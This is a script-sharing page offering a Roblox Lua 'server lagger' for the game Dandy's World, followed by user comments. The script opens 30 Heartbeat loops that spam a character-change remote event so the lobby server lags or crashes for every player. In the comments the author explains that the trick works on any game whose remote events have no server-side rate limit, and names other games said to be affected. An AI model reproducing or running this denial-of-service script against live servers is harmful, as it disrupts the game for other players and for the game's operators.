OPEN SOURCE FE Server Lagger
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OPEN SOURCE FE Server Lagger

πŸŽƒ Dandy's World [ALPHA]build_failedbuild_failed 1.7K views 58 executesUpdated Dec 5, 2025
5.0/ 5(2 votes)
20100% Positive
Lua Scriptβ€’22 lines (704 chars)
-- @build-failed
-- lag / crash server (lobby only)
-- you need a high‑performance device to handle this script

if setfpscap then setfpscap(math.huge) end
repeat task.wait() until game.Loaded
if game.PlaceId ~= 16116270224 then return end

local getservice = game.GetService
local replicatedstorage = getservice(game, "ReplicatedStorage")
local runservice = getservice(game, "RunService")

-- event --
local Proggy = replicatedstorage:WaitForChild("TowerData"):WaitForChild("Poppy")
local ChangeCharEvent = replicatedstorage:WaitForChild("Events"):WaitForChild("ChangeChar")

-- loop --
for i = 1, 30 do
    runservice.Heartbeat:Connect(function()
        ChangeCharEvent:FireServer(Proggy)
    end)
end

Features & Information

Lag everyone on the server
#FE#Lagger#Open Source

Community Comments (13)

blepblepDec 5, 2025

how fast do you make scripts bro

Replying to @blep
build_failedbuild_failedDec 5, 2025

@blep 2-10 minutes per server

Replying to @blep
build_failedbuild_failedDec 5, 2025

@blep they all just same the bugs, just spam (res* event , clone tool, or change morph events) they always forgot to put a serverside cooldown in remote event

Replying to @build_failed
blepblepDec 5, 2025

@build_failed that's actually smart

Replying to @blep
build_failedbuild_failedDec 5, 2025

@blep this basically works on every game , but i dont know how to reduce fps drops

Replying to @blep
build_failedbuild_failedDec 5, 2025

gun grounds ffa and weaponry are affected by this bug too, and just drops my fps to 0 :sob:

build_failedbuild_failedDec 5, 2025

@para4dox i reported 3 server crasher to the developers and 10 are released

build_failedbuild_failedDec 5, 2025

Regretevator Doors..

Noah1337Noah1337Dec 5, 2025

So every game with a remote event that changes your character, might have this vuln

Replying to @Noah1337
build_failedbuild_failedDec 5, 2025

@Noah1337 yeah. if they did not code the server-side rate limit

Replying to @Noah1337
build_failedbuild_failedDec 5, 2025

probably affects a lot of famous games too

nonunonuDec 5, 2025

brotha calm down 10 scripts in just 1 hour

StewBradarStewBradarDec 9, 2025

w script

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